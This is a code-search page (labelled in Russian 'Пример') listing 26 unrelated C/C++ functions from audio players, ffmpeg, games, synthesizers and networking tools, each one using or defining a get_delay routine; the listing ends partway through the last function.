Пример #1
0
int select_from_queues (delay_queue * priority, delay_queue* left,
                                      delay_queue * right) {
  int id = 0; /* This leads to the obvious note that no real ID
                                      should be 0. */
  if (peek_head_key (priority)) {
    id = pop_head_key (priority);
  } else if (peek_head_key (left)) {
    if (peek_head_key (right)) {
      if (get_delay (left) >= get_delay (right)) {
        id = pop_head_key (left);
        increment_delay (right);
      } else {
        id = pop_head_key (right);
        increment_delay (left);
      }
    } else {
      id = pop_head_key (left);
    }
  } else {
    if (peek_head_key (right)) {
      id = pop_head_key (right);
    }
  }
  /* Note two things: this neither updates wait times nor really tracks other
   * state changes.  However, it doesn't need an extra final case as no left, no
   * right is already accounted for.
   */
  return id;
}
Пример #2
0
void t_move_missile::on_idle()
{
    t_uint32 new_time = get_time();

    // update animation (if any)
    if (elapsed_time( new_time, m_last_update_time ) >= m_delay )
    {
        int frame = m_missile.get_current_frame_num();

        frame++;
        if (frame >= m_missile.get_frame_count())
            frame = 0;
        m_battlefield.set_current_frame_num( m_missile, frame );
        m_last_update_time = new_time;
    }

    t_map_point_3d position;
    t_uint32       next_time = get_next_time() - get_delay();
    int			   skip_limit = 1;

    // move missile forward one space
    while (elapsed_time( new_time, next_time ) >= 0 && skip_limit-- > 0 )
    {
        next_time += get_delay();
        if (m_distance_left <= 0)
        {
            t_idle_ptr reference = this;

            suspend_idle_processing();
            m_battlefield.remove_object( &m_missile );
            animation_ended();
            m_end_handler( m_attacker, m_target_position );
            return;
        }

        t_map_point_3d delta;
        int            distance;

        // limit distance moved to distance left
        position = m_missile.get_position();
        distance = m_move_distance;
        if (distance > m_distance_left)
            distance = m_distance_left;
        m_distance_left -= distance;
        // add distance to accumulator
        m_sum += m_delta * distance;
        // find integer portion of moved distance
        delta = m_sum / m_distance;
        position += delta;
        m_sum -= delta * m_distance;
        // calculate parabolic arc
        if (m_is_parabolic)
        {
            position.height += m_vertical_velocity - k_gravity;
            m_vertical_velocity -= k_gravity << 1;
        }
    }
    set_next_time( next_time );
    m_battlefield.move_object( m_missile, position );
}
Пример #3
0
static struct mp_audio *play(struct af_instance *af, struct mp_audio *data)
{
    struct af_resample *s = af->priv;
    struct mp_audio *in   = data;
    struct mp_audio *out  = af->data;

    out->samples = avresample_available(s->avrctx) +
        av_rescale_rnd(get_delay(s) + in->samples,
                       s->ctx.out_rate, s->ctx.in_rate, AV_ROUND_UP);

    mp_audio_realloc_min(out, out->samples);

    af->delay = get_delay(s) / (double)s->ctx.in_rate;

#if !USE_SET_CHANNEL_MAPPING
    do_reorder(in, s->reorder_in);
#endif

    if (out->samples) {
        out->samples = avresample_convert(s->avrctx,
            (uint8_t **) out->planes, out->samples * out->sstride, out->samples,
            (uint8_t **) in->planes,  in->samples  * in->sstride,  in->samples);
        if (out->samples < 0)
            return NULL; // error
    }

    *data = *out;

#if USE_SET_CHANNEL_MAPPING
    if (needs_reorder(s->reorder_out, out->nch)) {
        if (af_fmt_is_planar(out->format)) {
            reorder_planes(data, s->reorder_out);
        } else {
            int out_size = out->samples * out->sstride;
            if (talloc_get_size(s->reorder_buffer) < out_size)
                s->reorder_buffer = talloc_realloc_size(s, s->reorder_buffer, out_size);
            data->planes[0] = s->reorder_buffer;
            int out_samples = avresample_convert(s->avrctx_out,
                    (uint8_t **) data->planes, out_size, out->samples,
                    (uint8_t **) out->planes, out_size, out->samples);
            assert(out_samples == data->samples);
        }
    }
#else
    do_reorder(data, s->reorder_out);
#endif

    return data;
}
Пример #4
0
// close audio device
static void uninit(int immed){
	mp_msg(MSGT_AO,MSGL_V,"SDL: Audio Subsystem shutting down!\n");
	if (!immed)
	  usec_sleep(get_delay() * 1000 * 1000);
	SDL_CloseAudio();
	SDL_QuitSubSystem(SDL_INIT_AUDIO);
}
Пример #5
0
static int request_frame(AVFilterLink *link)
{
    AVFilterContext *ctx = link->src;
    ASyncContext      *s = ctx->priv;
    int ret = 0;
    int nb_samples;

    s->got_output = 0;
    while (ret >= 0 && !s->got_output)
        ret = ff_request_frame(ctx->inputs[0]);

    /* flush the fifo */
    if (ret == AVERROR_EOF) {
        if (s->first_pts != AV_NOPTS_VALUE)
            handle_trimming(ctx);

        if (nb_samples = get_delay(s)) {
            AVFrame *buf = ff_get_audio_buffer(link, nb_samples);
            if (!buf)
                return AVERROR(ENOMEM);
            ret = avresample_convert(s->avr, buf->extended_data,
                                     buf->linesize[0], nb_samples, NULL, 0, 0);
            if (ret <= 0) {
                av_frame_free(&buf);
                return (ret < 0) ? ret : AVERROR_EOF;
            }

            buf->pts = s->pts;
            return ff_filter_frame(link, buf);
        }
    }

    return ret;
}
Пример #6
0
static struct mp_audio *play(struct af_instance *af, struct mp_audio *data)
{
    struct af_resample *s = af->priv;
    struct mp_audio *in   = data;
    struct mp_audio *out  = af->data;


    int in_size     = data->len;
    int in_samples  = in_size / (data->bps * data->nch);
    int out_samples = avresample_available(s->avrctx) +
        av_rescale_rnd(get_delay(s) + in_samples,
                       s->ctx.out_rate, s->ctx.in_rate, AV_ROUND_UP);
    int out_size    = out->bps * out_samples * out->nch;

    if (talloc_get_size(out->audio) < out_size)
        out->audio = talloc_realloc_size(out, out->audio, out_size);

    af->delay = out->bps * av_rescale_rnd(get_delay(s),
                                          s->ctx.out_rate, s->ctx.in_rate,
                                          AV_ROUND_UP);

#if !USE_SET_CHANNEL_MAPPING
    reorder_channels(data->audio, s->reorder_in, data->bps, data->nch, in_samples);
#endif

    out_samples = avresample_convert(s->avrctx,
            (uint8_t **) &out->audio, out_size, out_samples,
            (uint8_t **) &in->audio,  in_size,  in_samples);

    *data = *out;

#if USE_SET_CHANNEL_MAPPING
    if (needs_reorder(s->reorder_out, out->nch)) {
        if (talloc_get_size(s->reorder_buffer) < out_size)
            s->reorder_buffer = talloc_realloc_size(s, s->reorder_buffer, out_size);
        data->audio = s->reorder_buffer;
        out_samples = avresample_convert(s->avrctx_out,
                (uint8_t **) &data->audio, out_size, out_samples,
                (uint8_t **) &out->audio, out_size, out_samples);
    }
#else
    reorder_channels(data->audio, s->reorder_out, out->bps, out->nch, out_samples);
#endif

    data->len = out->bps * out_samples * out->nch;
    return data;
}
Пример #7
0
scpi_result_t scpi_source_VoltageProtectionDelayQ(scpi_t * context) {
    Channel *channel = set_channel_from_command_number(context);
    if (!channel) {
        return SCPI_RES_ERR;
    }

    return get_delay(context, channel->prot_conf.u_delay);
}
Пример #8
0
static void	update_player(t_player *player, double *tdt)
{
  fds		c;
  double	dt;

  (void)tdt;
  if (!player)
    return ;
  c = player->client;
  dt = time_d(player->foodlt);
  player->foodlt = time_();
  player->foodt -= (dt / (((double)delay_life / get_delay()) * get_time()));
  player->food = (uint)abs(player->foodt);
  if (player->foodt <= 0)
    c ? (void)net_close_msg(c, "mort") : (void)player_destroy(player);
  else if (player->foodt > 0)
    timer_helper(((player->foodt * delay_life) * (get_time() / get_delay())));
}
Пример #9
0
/**
\brief close audio device
\param immed stop playback immediately
*/
static void uninit(struct ao *ao, bool immed)
{
    if (!immed)
        mp_sleep_us(get_delay(ao) * 1000000);
    reset(ao);

    DestroyBuffer(ao);
    UninitDirectSound(ao);
}
Пример #10
0
// close audio device
static void uninit(struct ao *ao, bool immed)
{
    struct priv *p = ao->priv;
    if (!immed)
        mp_sleep_us(get_delay(ao) * 1000 * 1000);
    // HACK, make sure jack doesn't loop-output dirty buffers
    reset(ao);
    mp_sleep_us(100 * 1000);
    jack_client_close(p->client);
}
Пример #11
0
// close audio device
static void uninit(int immed) {
  if (!immed)
    usec_sleep(get_delay() * 1000 * 1000);
  // HACK, make sure jack doesn't loop-output dirty buffers
  reset();
  usec_sleep(100 * 1000);
  jack_client_close(client);
  av_fifo_free(buffer);
  buffer = NULL;
}
Пример #12
0
int main(int argc, char** argv) {
    init(HOST, PORT);

    if (argc < 2) {
        printf("Usage %s filename\n", argv[0]);
        return -1;
    }

    tabel = tabelcrc(CRCCCITT);

    printf("Speed: %d\n", get_speed(argv[1]));
    printf("Delay: %d\n", get_delay(argv[2]));
    printf("Loss: %lf\n", get_loss(argv[3]));
    printf("Corrupt: %lf\n", get_corrupt(argv[4]));

    transmit(argv[5], get_speed(argv[1]), get_delay(argv[2]), get_loss(argv[3]),
            get_corrupt(argv[4]) );

    free(tabel);
    return 0;
}
Пример #13
0
// close audio device
static void uninit(int immed){
	mp_msg(MSGT_AO,MSGL_V,"SDL: Audio Subsystem shutting down!\n");
	if (!immed)
	  usec_sleep(get_delay() * 1000 * 1000);
#ifdef _WIN32
    if (!hSDL) return;
#endif
	SDL_CloseAudio();
	SDL_QuitSubSystem(SDL_INIT_AUDIO);
	av_fifo_free(buffer);
#ifdef _WIN32
	FreeLibrary(hSDL);
#endif
}
Пример #14
0
bool		scheduler_relative(fds c, _time dt,
				  bool (*cb)(fds, void*), void *data)
{
  t_client	*info;
  t_scheduler	*schedule;

  if (!scheduler_a(c, dt, cb, data))
    return (false);
  if (!c || !(info = c->trick))
    return (false);
  schedule = &info->schedule;
  schedule->relative = (char)true;
  scheduler_update(dt * (get_time() / get_delay()));
  return (true);
}
void sim_disk_file::serve(void* buffer, offset_type offset, size_type bytes,
                          request::request_type type)
{
    scoped_mutex_lock fd_lock(fd_mutex);

    double op_start = timestamp();

    stats::scoped_read_write_timer read_write_timer(bytes, type == request::WRITE);

    void* mem = mmap(NULL, bytes, PROT_READ | PROT_WRITE, MAP_SHARED, file_des, offset);
    if (mem == MAP_FAILED)
    {
        STXXL_THROW_ERRNO
            (io_error,
            " mmap() failed." <<
            " Page size: " << sysconf(_SC_PAGESIZE) <<
            " offset modulo page size " << (offset % sysconf(_SC_PAGESIZE)));
    }
    else if (mem == 0)
    {
        STXXL_THROW_ERRNO(io_error, "mmap() returned NULL");
    }
    else
    {
        if (type == request::READ)
        {
            memcpy(buffer, mem, bytes);
        }
        else
        {
            memcpy(mem, buffer, bytes);
        }
        STXXL_THROW_ERRNO_NE_0(munmap(mem, bytes), io_error,
                               "munmap() failed");
    }

    double delay = get_delay(offset, bytes);

    delay = delay - timestamp() + op_start;

    assert(delay > 0.0);

    int seconds_to_wait = static_cast<int>(floor(delay));
    if (seconds_to_wait)
        sleep(seconds_to_wait);

    usleep((useconds_t)((delay - seconds_to_wait) * 1000000.));
}
Пример #16
0
static double do_delay(double delay, double i) {
  int variable;
  /* ram - this was a little weird, since i is a double... except I think it's
   * secretely an integer */
  variable = ((int)i) % MAXTYPE;

  if (del_stab_flag > 0) {
    if (DelayFlag && delay > 0.0) {
      /* printf("do_delay for var #%d, delay %f\n", variable-1, delay); */
      return (get_delay(variable - 1, delay));
    }
    return (variables.elems[variable]);
  }

  return (delay_stab_eval(delay, (int)variable));
}
Пример #17
0
	uint16_t CharLook::get_attackdelay(size_t no, uint8_t first_frame) const
	{
		if (action)
		{
			return drawinfo.get_attackdelay(actionstr, no);
		}
		else
		{
			uint16_t delay = 0;
			for (uint8_t frame = 0; frame < first_frame; frame++)
			{
				delay += get_delay(stance.get(), frame);
			}
			return delay;
		}
	}
Пример #18
0
// ------------------------------------------------------------------------
// do movement that's hidden
// ------------------------------------------------------------------------
void t_army_mover::do_hidden_move()
{
	if (m_is_visible)
		return;
	if (m_path.size() == 0)
	{
		finish_path();
		return;
	}

	t_adventure_map const&  map = *m_army->get_map();
	t_player&				player = map.get_player();
	int						team = player.get_team();

	declare_timer( timer_1, "do_hidden_movement" );
	while (!m_is_visible && !m_halted)
	{
		t_adventure_path_point& point = m_path[m_step];

		m_army->move( point );
		expend_movement( point.move_cost );
		mark_eluded_armies();
		if (m_step == m_path.size() - 1)
		{
			finish_path();
			return;
		}
		trigger_event();
		if (m_halted) 
			return;
		m_is_visible = !m_army->hidden_by_fog_of_war( team ) && show_enemy_moves();
		if (m_is_visible)
			break; // break here, because start_new_square will increment step.
		++m_step;
		declare_timer( timer_2, "on_starting_new_square: hidden" );
		on_starting_new_square();
	}
	if (m_halted)
		return;
	m_army->set_action( k_adv_actor_action_walk );
	m_distance = compute_overall_distance( m_path, m_step + 1 );
	start_new_square();
	prepare_move( 0 );
	set_next_time( get_time() + get_delay() );
}
Пример #19
0
static double do_delay_shift(double delay, double shift, double variable) {
  int in;
  int i = (int)(variable), ish = (int)shift;
  if (i < 0)
    return (0.0);
  in = (i % MAXTYPE) + ish;

  if (in > MAXODE)
    return 0.0;

  if (del_stab_flag > 0) {
    if (DelayFlag && delay > 0.0)
      return (get_delay(in - 1, delay));
    return (variables.elems[in]);
  }

  return (delay_stab_eval(delay, in));
}
Пример #20
0
/*
 * return: how many bytes can be played without blocking
 */
static int get_space(void)
{
    struct timeval tmout;
    fd_set wfds;
    float current_delay;
    int space;

    /*
     * Don't buffer too much data in the esd daemon.
     *
     * If we send too much, esd will block in write()s to the sound
     * device, and the consequence is a huge slow down for things like
     * esd_get_all_info().
     */
    if ((current_delay = get_delay()) >= ESD_MAX_DELAY) {
	dprintf("esd get_space: too much data buffered\n");
	return 0;
    }

    FD_ZERO(&wfds);
    FD_SET(esd_play_fd, &wfds);
    tmout.tv_sec = 0;
    tmout.tv_usec = 0;

    if (select(esd_play_fd + 1, NULL, &wfds, NULL, &tmout) != 1)
	return 0;

    if (!FD_ISSET(esd_play_fd, &wfds))
	return 0;

    /* try to fill 50% of the remaining "free" buffer space */
    space = (ESD_MAX_DELAY - current_delay) * ao_data.bps * 0.5f;

    /* round up to next multiple of ESD_BUF_SIZE */
    space = (space + ESD_BUF_SIZE-1) / ESD_BUF_SIZE * ESD_BUF_SIZE;

    dprintf("esd get_space: %d\n", space);
    return space;
}
Пример #21
0
/* read a line of input string, giving prompt when appropriate */
static char *read_string(int echo, const char *prompt)
{
    struct termios term_before, term_tmp;
    char line[INPUTSIZE];
    struct sigaction old_sig;
    int delay, nc, have_term=0;

    D(("called with echo='%s', prompt='%s'.", echo ? "ON":"OFF" , prompt));

    if (isatty(STDIN_FILENO)) {                      /* terminal state */

	/* is a terminal so record settings and flush it */
	if ( tcgetattr(STDIN_FILENO, &term_before) != 0 ) {
	    D(("<error: failed to get terminal settings>"));
	    return NULL;
	}
	memcpy(&term_tmp, &term_before, sizeof(term_tmp));
	if (!echo) {
	    term_tmp.c_lflag &= ~(ECHO);
	}
	have_term = 1;

    } else if (!echo) {
	D(("<warning: cannot turn echo off>"));
    }

    /* set up the signal handling */
    delay = get_delay();

    /* reading the line */
    while (delay >= 0) {

	fprintf(stderr, "%s", prompt);
	/* this may, or may not set echo off -- drop pending input */
	if (have_term)
	    (void) tcsetattr(STDIN_FILENO, TCSAFLUSH, &term_tmp);

	if ( delay > 0 && set_alarm(delay, &old_sig) ) {
	    D(("<failed to set alarm>"));
	    break;
	} else {
	    nc = read(STDIN_FILENO, line, INPUTSIZE-1);
	    if (have_term) {
		(void) tcsetattr(STDIN_FILENO, TCSADRAIN, &term_before);
		if (!echo || expired)             /* do we need a newline? */
		    fprintf(stderr,"\n");
	    }
	    if ( delay > 0 ) {
		reset_alarm(&old_sig);
	    }
	    if (expired) {
		delay = get_delay();
	    } else if (nc > 0) {                 /* we got some user input */
		char *input;

		if (nc > 0 && line[nc-1] == '\n') {     /* <NUL> terminate */
		    line[--nc] = '\0';
		} else {
		    line[nc] = '\0';
		}
		input = x_strdup(line);
		_pam_overwrite(line);

		return input;                  /* return malloc()ed string */
	    } else if (nc == 0) {                                /* Ctrl-D */
		D(("user did not want to type anything"));
		fprintf(stderr, "\n");
		break;
	    }
	}
    }

    /* getting here implies that the timer expired */
    if (have_term)
	(void) tcsetattr(STDIN_FILENO, TCSADRAIN, &term_before);

    memset(line, 0, INPUTSIZE);                      /* clean up */
    return NULL;
}
Пример #22
0
static int filter_frame(AVFilterLink *inlink, AVFrame *buf)
{
    AVFilterContext  *ctx = inlink->dst;
    ASyncContext       *s = ctx->priv;
    AVFilterLink *outlink = ctx->outputs[0];
    int nb_channels = av_get_channel_layout_nb_channels(buf->channel_layout);
    int64_t pts = (buf->pts == AV_NOPTS_VALUE) ? buf->pts :
                  av_rescale_q(buf->pts, inlink->time_base, outlink->time_base);
    int out_size, ret;
    int64_t delta;
    int64_t new_pts;

    /* buffer data until we get the next timestamp */
    if (s->pts == AV_NOPTS_VALUE || pts == AV_NOPTS_VALUE) {
        if (pts != AV_NOPTS_VALUE) {
            s->pts = pts - get_delay(s);
        }
        return write_to_fifo(s, buf);
    }

    if (s->first_pts != AV_NOPTS_VALUE) {
        handle_trimming(ctx);
        if (!avresample_available(s->avr))
            return write_to_fifo(s, buf);
    }

    /* when we have two timestamps, compute how many samples would we have
     * to add/remove to get proper sync between data and timestamps */
    delta    = pts - s->pts - get_delay(s);
    out_size = avresample_available(s->avr);

    if (llabs(delta) > s->min_delta ||
        (s->first_frame && delta && s->first_pts != AV_NOPTS_VALUE)) {
        av_log(ctx, AV_LOG_VERBOSE, "Discontinuity - %"PRId64" samples.\n", delta);
        out_size = av_clipl_int32((int64_t)out_size + delta);
    } else {
        if (s->resample) {
            // adjust the compensation if delta is non-zero
            int delay = get_delay(s);
            int comp = s->comp + av_clip(delta * inlink->sample_rate / delay,
                                         -s->max_comp, s->max_comp);
            if (comp != s->comp) {
                av_log(ctx, AV_LOG_VERBOSE, "Compensating %d samples per second.\n", comp);
                if (avresample_set_compensation(s->avr, comp, inlink->sample_rate) == 0) {
                    s->comp = comp;
                }
            }
        }
        // adjust PTS to avoid monotonicity errors with input PTS jitter
        pts -= delta;
        delta = 0;
    }

    if (out_size > 0) {
        AVFrame *buf_out = ff_get_audio_buffer(outlink, out_size);
        if (!buf_out) {
            ret = AVERROR(ENOMEM);
            goto fail;
        }

        if (s->first_frame && delta > 0) {
            int planar = av_sample_fmt_is_planar(buf_out->format);
            int planes = planar ?  nb_channels : 1;
            int block_size = av_get_bytes_per_sample(buf_out->format) *
                             (planar ? 1 : nb_channels);

            int ch;

            av_samples_set_silence(buf_out->extended_data, 0, delta,
                                   nb_channels, buf->format);

            for (ch = 0; ch < planes; ch++)
                buf_out->extended_data[ch] += delta * block_size;

            avresample_read(s->avr, buf_out->extended_data, out_size);

            for (ch = 0; ch < planes; ch++)
                buf_out->extended_data[ch] -= delta * block_size;
        } else {
            avresample_read(s->avr, buf_out->extended_data, out_size);

            if (delta > 0) {
                av_samples_set_silence(buf_out->extended_data, out_size - delta,
                                       delta, nb_channels, buf->format);
            }
        }
        buf_out->pts = s->pts;
        ret = ff_filter_frame(outlink, buf_out);
        if (ret < 0)
            goto fail;
        s->got_output = 1;
    } else if (avresample_available(s->avr)) {
        av_log(ctx, AV_LOG_WARNING, "Non-monotonous timestamps, dropping "
               "whole buffer.\n");
    }

    /* drain any remaining buffered data */
    avresample_read(s->avr, NULL, avresample_available(s->avr));

    new_pts = pts - avresample_get_delay(s->avr);
    /* check for s->pts monotonicity */
    if (new_pts > s->pts) {
        s->pts = new_pts;
        ret = avresample_convert(s->avr, NULL, 0, 0, buf->extended_data,
                                 buf->linesize[0], buf->nb_samples);
    } else {
        av_log(ctx, AV_LOG_WARNING, "Non-monotonous timestamps, dropping "
               "whole buffer.\n");
        ret = 0;
    }

    s->first_frame = 0;
fail:
    av_frame_free(&buf);

    return ret;
}
Пример #23
0
int main(int argc, char *argv[])
{
    enum APP_TYPE app_type      = UNKNOWN_APP;
    int           prog_argc     = 0;
    uint32_t      magic_options = 0;
    bool          wait_term     = true;
    unsigned int  delay         = DEFAULT_DELAY;
    unsigned int  respawn_delay = RESPAWN_DELAY;
    char        **prog_argv     = NULL;
    char         *prog_name     = NULL;
    struct stat   file_stat;

    // wait-term parameter by default
    magic_options |= INVOKER_MSG_MAGIC_OPTION_WAIT;

    // Called with a different name (old way of using invoker) ?
    if (!strstr(argv[0], PROG_NAME_INVOKER) )
    {
        die(1,
            "Incorrect use of invoker, don't use symlinks. "
            "Run invoker explicitly from e.g. a D-Bus service file instead.\n");
    }

    // Stops parsing args as soon as a non-option argument is encountered
    putenv("POSIXLY_CORRECT=1");

    // Options recognized
    struct option longopts[] = {
        {"help",      no_argument,       NULL, 'h'},
        {"creds",     no_argument,       NULL, 'c'},
        {"wait-term", no_argument,       NULL, 'w'},
        {"no-wait",   no_argument,       NULL, 'n'},
        {"global-syms", no_argument,     NULL, 'G'},
        {"deep-syms", no_argument,       NULL, 'D'},
        {"single-instance", no_argument, NULL, 's'},
        {"type",      required_argument, NULL, 't'},
        {"delay",     required_argument, NULL, 'd'},
        {"respawn",   required_argument, NULL, 'r'},
        {0, 0, 0, 0}
    };

    // Parse options
    // TODO: Move to a function
    int opt;
    while ((opt = getopt_long(argc, argv, "hcwnGDsd:t:r:", longopts, NULL)) != -1)
    {
        switch(opt)
        {
        case 'h':
            usage(0);
            break;

        case 'c':
            show_credentials();
            break;

        case 'w':
            // nothing to do, it's by default now
            break;

        case 'n':
            wait_term = false;
            magic_options &= (~INVOKER_MSG_MAGIC_OPTION_WAIT);
            break;

        case 'G':
            magic_options |= INVOKER_MSG_MAGIC_OPTION_DLOPEN_GLOBAL;
            break;

        case 'D':
            magic_options |= INVOKER_MSG_MAGIC_OPTION_DLOPEN_DEEP;
            break;

        case 't':
            if (strcmp(optarg, "m") == 0)
                app_type = M_APP;
            else if (strcmp(optarg, "q") == 0 || strcmp(optarg, "qt") == 0)
                app_type = QT_APP;
            else if (strcmp(optarg, "d") == 0)
                app_type = QDECL_APP;
            else
            {
                report(report_error, "Unknown application type: %s \n", optarg);
                usage(1);
            }
            break;

        case 'd':
            delay = get_delay(optarg, "delay");
            break;

        case 'r':
            respawn_delay = get_delay(optarg, "respawn delay");
            if (respawn_delay > MAX_RESPAWN_DELAY)
            {
                report(report_error, "Booster respawn delay exceeds max possible time.\n");
                usage(1);
            }
            break;

        case 's':
            magic_options |= INVOKER_MSG_MAGIC_OPTION_SINGLE_INSTANCE;
            break;

        case '?':
            usage(1);
        }
    }

    // Option processing stops as soon as application name is encountered
    if (optind < argc)
    {
        prog_name = search_program(argv[optind]);
        if (!prog_name)
        {
            report(report_error, "Can't find application to invoke.\n");
            usage(0);
        }

        prog_argc = argc - optind;
        prog_argv = &argv[optind];
    }

    // Check if application name isn't defined
    if (!prog_name)
    {
        report(report_error, "Application's name is not defined.\n");
        usage(1);
    }

    // Check if application exists
    if (stat(prog_name, &file_stat))
    {
        report(report_error, "%s: not found\n", prog_name);
        return EXIT_STATUS_APPLICATION_NOT_FOUND;
    }

    // Check that 
    if (!S_ISREG(file_stat.st_mode) && !S_ISLNK(file_stat.st_mode))
    {
        report(report_error, "%s: not a file\n", prog_name);
        return EXIT_STATUS_APPLICATION_NOT_FOUND;
    }

    // Check if application type is unknown
    if (app_type == UNKNOWN_APP)
    {
        report(report_error, "Application's type is unknown.\n");
        usage(1);
    }

    // Send commands to the launcher daemon
    info("Invoking execution: '%s'\n", prog_name);
    int ret_val = invoke(prog_argc, prog_argv, prog_name, app_type, magic_options, wait_term, respawn_delay);

    // Sleep for delay before exiting
    if (delay)
    {
        // DBUS cannot cope some times if the invoker exits too early.
        debug("Delaying exit for %d seconds..\n", delay);
        sleep(delay);
    }

    return ret_val;
}
Пример #24
0
/*****************************************************************************
 * process_bpm_change()
 *
 * Process a BPM change pseudo MIDI message.  Currently used when syncing
 * JACK Transport, this adjust BPM, independent of controller assignment.
 *
 * TODO:  Rework _all_ phasex BPM code, since this is almost identical to
 * update_bpm() in bpm.c.
 *****************************************************************************/
void
process_bpm_change(MIDI_EVENT *event, unsigned int part_num)
{
	PART        *part   = get_part(part_num);
	PATCH_STATE *state  = get_active_state(part_num);
	PARAM       *param  = get_param(part_num, PARAM_BPM);
	DELAY       *delay  = get_delay(part_num);
	CHORUS      *chorus = get_chorus(part_num);
	VOICE       *voice;
	int         int_val = (int)(event->float_value);
	int         cc_val  = int_val - 64;
	int         voice_num;
	int         lfo;
	int         osc;

	PHASEX_DEBUG(DEBUG_CLASS_MIDI_TIMING, "+++ Processing BPM change.  New BPM = %lf +++\n",
	             event->float_value);

	param->value.cc_val  = cc_val;
	param->value.int_val = int_val;

	/* For now, this is handled much like the normal param
	   callback for BPM, execpt that here we use floating point
	   values instead of integer. */

	global.bpm = event->float_value;
	global.bps = event->float_value / 60.0;

	if (param->value.cc_val != cc_val) {
		param->value.cc_prev = param->value.cc_val;
		param->value.cc_val  = cc_val;
		param->value.int_val = int_val;
		param->updated        = 1;
	}

	/* initialize all variables based on bpm */
	state->bpm     = event->float_value;
	state->bpm_cc  = (short)(param->value.cc_val & 0x7F);

	/* re-initialize delay size */
	delay->size   = state->delay_time * f_sample_rate / global.bps;
	delay->length = (int)(delay->size);

	/* re-initialize chorus lfos */
	chorus->lfo_freq     = global.bps * state->chorus_lfo_rate;
	chorus->lfo_adjust   = chorus->lfo_freq * wave_period;
	chorus->phase_freq   = global.bps * state->chorus_phase_rate;
	chorus->phase_adjust = chorus->phase_freq * wave_period;

	/* per-lfo setup */
	for (lfo = 0; lfo < NUM_LFOS; lfo++) {
		/* re-calculate frequency and corresponding index adjustment */
		if (state->lfo_freq_base[lfo] >= FREQ_BASE_TEMPO) {
			part->lfo_freq[lfo]    = global.bps * state->lfo_rate[lfo];
			part->lfo_adjust[lfo]  = part->lfo_freq[lfo] * wave_period;
		}
	}

	/* per-oscillator setup */
	for (osc = 0; osc < NUM_OSCS; osc++) {
		/* re-calculate tempo based osc freq */
		if (state->osc_freq_base[osc] >= FREQ_BASE_TEMPO) {
			for (voice_num = 0; voice_num < setting_polyphony; voice_num++) {
				voice = get_voice(part_num, voice_num);
				voice->osc_freq[osc] = global.bps * state->osc_rate[osc];
			}
		}
	}
}
Пример #25
0
static size_t
send_ping_ready_cb (void *cls, size_t size, void *buf)
{
  struct BenchmarkPartner *p = cls;
  static char msgbuf[TEST_MESSAGE_SIZE];
  struct GNUNET_MessageHeader *msg;
  struct GNUNET_TIME_Relative delay;

  if (NULL == buf)
  {
    GNUNET_break (0);
    return 0;
  }
  if (size < TEST_MESSAGE_SIZE)
  {
    GNUNET_break (0);
    return 0;
  }

  GNUNET_log(GNUNET_ERROR_TYPE_DEBUG,
             "Master [%u]: Sending PING to [%u]\n",
             p->me->no, p->dest->no);
  if (top->test_core)
  {
    if (NULL == p->cth)
    {
      GNUNET_break (0);
    }
    p->cth = NULL;
  }
  else
  {
    if (NULL == p->tth)
    {
      GNUNET_break (0);
    }
    p->tth = NULL;
  }

  msg = (struct GNUNET_MessageHeader *) &msgbuf;
  memset (&msgbuf, 'a', TEST_MESSAGE_SIZE);
  msg->type = htons (TEST_MESSAGE_TYPE_PING);
  msg->size = htons (TEST_MESSAGE_SIZE);
  memcpy (buf, msg, TEST_MESSAGE_SIZE);

  p->messages_sent++;
  p->bytes_sent += TEST_MESSAGE_SIZE;
  p->me->total_messages_sent++;
  p->me->total_bytes_sent += TEST_MESSAGE_SIZE;

  if (NULL == p->tg)
  {
    GNUNET_break (0);
    return TEST_MESSAGE_SIZE;
  }
  delay = get_delay (p->tg);

  GNUNET_log(GNUNET_ERROR_TYPE_DEBUG, "Delay for next transmission %llu ms\n",
      (long long unsigned int) delay.rel_value_us / 1000);
  p->tg->next_ping_transmission = GNUNET_TIME_absolute_add(GNUNET_TIME_absolute_get(),
      delay);

  return TEST_MESSAGE_SIZE;
}
Пример #26
0
/*****************************************************************************
 * process_phase_sync()
 *
 * Process a phase sync internal MIDI message.  Currently used for syncing
 * JACK Transport, this function performs phase correction for a given voice.
 *****************************************************************************/
void
process_phase_sync(MIDI_EVENT *event, unsigned int part_num)
{
	PART            *part              = get_part(part_num);
	PATCH_STATE     *state             = get_active_state(part_num);
	DELAY           *delay             = get_delay(part_num);
	CHORUS          *chorus            = get_chorus(part_num);
	VOICE           *voice;
	int             voice_num;
	int             osc;
	int             lfo;
	int             phase_correction   = event->value;
	sample_t        f_phase_correction = (sample_t) phase_correction;
	sample_t        tmp_1;

	delay->write_index += phase_correction;
	while (delay->write_index < 0.0) {
		delay->write_index += delay->bufsize;
	}
	while (delay->write_index >= delay->bufsize) {
		delay->write_index -= delay->bufsize;
	}

	chorus->lfo_index_a += f_phase_correction * chorus->lfo_adjust;
	while (chorus->lfo_index_a < 0.0) {
		chorus->lfo_index_a += F_WAVEFORM_SIZE;
	}
	while (chorus->lfo_index_a >= F_WAVEFORM_SIZE) {
		chorus->lfo_index_a -= F_WAVEFORM_SIZE;
	}

	chorus->lfo_index_b = chorus->lfo_index_a + (F_WAVEFORM_SIZE * 0.25);
	while (chorus->lfo_index_b < 0.0) {
		chorus->lfo_index_b += F_WAVEFORM_SIZE;
	}
	while (chorus->lfo_index_b >= F_WAVEFORM_SIZE) {
		chorus->lfo_index_b -= F_WAVEFORM_SIZE;
	}

	chorus->lfo_index_c = chorus->lfo_index_a + (F_WAVEFORM_SIZE * 0.5);
	while (chorus->lfo_index_c < 0.0) {
		chorus->lfo_index_c += F_WAVEFORM_SIZE;
	}
	while (chorus->lfo_index_c >= F_WAVEFORM_SIZE) {
		chorus->lfo_index_c -= F_WAVEFORM_SIZE;
	}

	chorus->lfo_index_d = chorus->lfo_index_a + (F_WAVEFORM_SIZE * 0.75);
	while (chorus->lfo_index_d < 0.0) {
		chorus->lfo_index_d += F_WAVEFORM_SIZE;
	}
	while (chorus->lfo_index_d >= F_WAVEFORM_SIZE) {
		chorus->lfo_index_d -= F_WAVEFORM_SIZE;
	}

	for (voice_num = 0; voice_num < setting_polyphony; voice_num++) {
		voice = get_voice(part_num, voice_num);
		for (osc = 0; osc < NUM_OSCS; osc++) {
			if (state->osc_freq_base[osc] >= FREQ_BASE_TEMPO) {
				switch (state->freq_mod_type[osc]) {
				case MOD_TYPE_LFO:
					tmp_1 = part->lfo_out[state->freq_lfo[osc]];
					break;
				case MOD_TYPE_OSC:
					tmp_1 = (voice->osc_out1[part->osc_freq_mod[osc]] +
					         voice->osc_out2[part->osc_freq_mod[osc]]) * 0.5;
